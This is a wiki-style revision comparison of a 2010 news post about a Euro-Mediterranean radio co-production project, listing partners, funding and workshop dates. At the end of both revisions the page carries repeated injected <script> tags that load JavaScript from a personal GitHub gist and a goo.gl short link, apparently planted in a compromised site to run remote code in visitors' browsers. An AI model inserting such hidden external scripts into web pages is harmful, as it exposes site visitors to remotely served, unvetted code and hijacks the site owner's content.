You are viewing an old revision of this post, from February 25, 2010 @ 19:10:49. See below for differences between this version and the current revision.
Tunis, 19th January 2010
The first meeting of “The waves for the Mediterranean" project , hosted by the Tunisian Radio, and a press conference for its official launch were held on 19th January 2010. All partners took part in these activities which gathered a great success
See the press review
During the work meeting, the workshops schedule was adopted as follows:
Kantara
- Tunis (hosted by the Tunisian Radio) on 20th and 21st January 2010
- Algiers (hosted by ENRS) in June 2010
- Marrakech (hosted by ESAV) around November 2010
- Rabat (hosted by SNRT) around June 2011
First co-production series
- Algiers (production workshop hosted by ENRS) in March 2010
- Marrakech (sounds mixing workshop hosted by ESAV in May 2010
Second series
- Rabat (production workshop hosted by SNRT) around October 2010
- Bastia (sounds mixing workshop hosted by Radio France/France Bleu Frequenza Mora) around February 2011.
Changes:
February 25, 2010 @ 19:10:49 | Current Revision | ||
---|---|---|---|
Title | |||
Launch meeting | Programme “The waves for the Mediterranean" |
Content | |||
---|---|---|---|
<p> | |||
<em>Tunis, 19th January 2010</em></p> | |||
<p> | |||
“The waves for the Mediterranean" radio cooperation project, that started in December 2009, brings together six partners: the Tunisian Radio as project leader, Radio France (France Bleu <span data-scayt_word="Frequenza" data-scaytid= "1">Frequenza</span> Mora), <span data-scayt_word="ENRS" data-scaytid= "4">ENRS</span> (Algeria), <span data-scayt_word="SNRT" data-scaytid= "5">SNRT</span> (Morocco), <span data-scayt_word="ESAV" data-scaytid= "8">ESAV</span> (School of Visual Arts in Marrakech - Morocco) and <span data-scayt_word="COPEAM" data-scaytid= "9">COPEAM</span> as coordinator. | |||
Presented in the framework of the Call for proposals for programs <span data-scayt_word="ALF" data-scaytid= "11">ALF</span>/<span data-scayt_word="CFP" data-scaytid= "12">CFP</span>/2009/<span data-scayt_word="LTP" data-scaytid= "13">LTP</span>/146 of the Euro-Mediterranean Anna <span data-scayt_word="Lindh" data-scaytid= "14">Lindh</span> Foundation – it won 49% funding of its total value. | |||
The first meeting of “The waves for the Mediterranean" project , hosted by the Tunisian Radio, and a press conference for its official launch were held on 19th January 2010. All partners took part in these activities which gathered a great success</p> | It aims at developing, strengthening and perpetuating specifically Euro-Mediterranean radio co-productions and at supporting mobility for the sector’s young professionals. | ||
<p> | |||
<a href="http:// www.copeam.org/UserFiles/ File/Press/35_ Revue_de_presse_ Les_ondes_pour_ la_Mediterranee.pdf">See the press review</a><br /> | |||
<br /> | |||
During the work meeting, the workshops schedule was adopted as follows:<br /> | |||
<br /> | |||
<u>Kantara</u><br /> | |||
- Tunis (hosted by the Tunisian Radio) on 20th and 21st January 2010</p> | |||
<p> | |||
- Algiers (hosted by ENRS) in June 2010</p> | |||
<p> | |||
- Marrakech (hosted by ESAV) around November 2010</p> | |||
<p> | |||
- Rabat (hosted by SNRT) around June 2011</p> | |||
<p> | |||
<u>First co-production series</u><br /> | |||
- Algiers (production workshop hosted by ENRS) in March 2010</p> | |||
<p> | |||
- Marrakech (sounds mixing workshop hosted by ESAV in May 2010</p> | |||
<p> | |||
<u>Second series</u><br /> | |||
- Rabat (production workshop hosted by SNRT) around October 2010</p> | |||
<p> | |||
This will be done on the one hand, through supporting contents of both <span data-scayt_word="Kantara" data-scaytid= "16">Kantara</span> radio program and its development and two radio series to be co-produced by members of <span data-scayt_word="COPEAM" data-scaytid= "10">COPEAM</span> Radio Commission on shared themes promoting <span data-scayt_word="dialogue" data-scaytid= "23">dialogue</span> in the <span data-scayt_word="Euromed" data-scaytid= "24">Euromed</span> region; on the other hand, through actions aimed at encouraging radio professionals’ work – journalists, producers - and at <span data-scayt_word="favouring" data-scaytid= "25">favouring</span> their mobility by the organization of eight training/co-production workshops hosted by partners: four on the two radio series and four on <span data-scayt_word="Kantara" data-scaytid= "17">Kantara</span>, in the perspective of an evolution of this program in a weekly news magazine on the Mediterranean. | |||
All this is the result of the work and of the will of the partners to support a shared and valuable Mediterranean radio activity. In particular, it was reached thanks to the efforts of our Radio Commission members, of its Vice-presidency and its Presidency (Radio France / France Bleu <span data-scayt_word="Frequenza" data-scaytid= "2">Frequenza</span> Mora), who acted as executive producer for the first two Mediterranean co-productions (Portraits of Footballers, The Mythical <span data-scayt_word="harbours" data-scaytid= "26">harbours</span> of the Mediterranean) and <span data-scayt_word="Kantara" data-scaytid= "18">Kantara</span>. | |||
<span style="color: #3366cc;"><span style="font-size: 14px;"><strong> HIGHLIGHT</strong> </span></span> | |||
<strong>Closing workshop of the Waves for the Mediterranean <span data-scayt_word="programme" data-scaytid= "27">programme< /span></strong> | |||
- Bastia (sounds mixing workshop hosted by Radio France/France Bleu Frequenza Mora) around February 2011.<br /> | <em><span data-scayt_word="Fes" data-scaytid= "32">Fes</span>, June 2011</em> | ||
</p> | |||
<img style="width: 207px; height: 138px; float: left;" src="/userfiles/ image/Pierre Mari, Fatma Zairi et Malya Behidj.jpg" alt="" />The journalists who are co-producing <span data-scayt_word="Kantara" data-scaytid= "19">Kantara</span> in the framework of the Waves for the Mediterranean <span data-scayt_word="programme" data-scaytid= "28">programme</span> gathered in <span data-scayt_word="Fes" data-scaytid= "33">Fes</span> for their final workshop and a first assessment of the new format. This workshop was the last planned in the mentioned <span data-scayt_word="programme" data-scaytid= "29">programme</span>, co-funded by the Anna <span data-scayt_word="Lindh" data-scaytid= "15">Lindh</span> Foundation. | |||
Upon the invitation of the <span data-scayt_word="Fes" data-scaytid= "34">Fes</span> local radio of <span data-scayt_word="SNRT" data-scaytid= "6">SNRT</span> (Morocco) – member of the <span data-scayt_word="WfM" data-scaytid= "36">WfM</span> consortium – the producers of the <span data-scayt_word="Kantara" data-scaytid= "20">Kantara</span> magazine carried out a two-day workshop in order to assess the progress made since the beginning of the <span data-scayt_word="programme" data-scaytid= "30">programme</span> and suggest further developments, in the presence of the President of the Radio Commission, Mr. <span data-scayt_word="Hervé" data-scaytid= "38">Hervé</span> de <span data-scayt_word="Haro" data-scaytid= "39">Haro</span>. | |||
Alongside this work, they recorded a special episode of <span data-scayt_word="Kantara" data-scaytid= "21">Kantara</span> dedicated to the city of <span data-scayt_word="Fes" data-scaytid= "35">Fes</span> and the Sacred Music Festival that was taking place in the city during the same dates. | |||
As of today and thanks to the support of the <span data-scayt_word="WfM" data-scaytid= "37">WfM</span> <span data-scayt_word="programme" data-scaytid= "31">programme</span>, <span data-scayt_word="Kantara" data-scaytid= "22">Kantara</span> is co-produced by <strong><span data-scayt_word="EPRS" data-scaytid= "40">EPRS</span></strong> (Algeria), <strong><span data-scayt_word="ERTU" data-scaytid= "41">ERTU</span> </strong>(Egypt), <strong>Radio France/France Bleu <span data-scayt_word="Frequenza" data-scaytid= "3">Frequenza</span> Mora</strong>, <strong><span data-scayt_word="RTCI" data-scaytid= "42">RTCI</span> </strong>(Tunisia), <strong><span data-scayt_word="RTVE" data-scaytid= "43">RTVE</span> </strong>(Spain) and <strong><span data-scayt_word="SNRT" data-scaytid= "7">SNRT</span> </strong>(Morocco. | |||
<script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// goo.gl/dd1kPI'></script> | <a href="http:// www.facebook.com/ album.php?aid= 34389&id= 127100014015208& saved#!/photo.php?fbid= 161985703859972& set=a.161985563859986.34389.127100014015208& theater"><img style="width: 23px; height: 23px; float: left;" src="/userfiles/ image/fb(1).jpg" alt="" /></a> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// goo.gl/dd1kPI'></script> |
Note: Spaces may be added to comparison text to allow better line wrapping.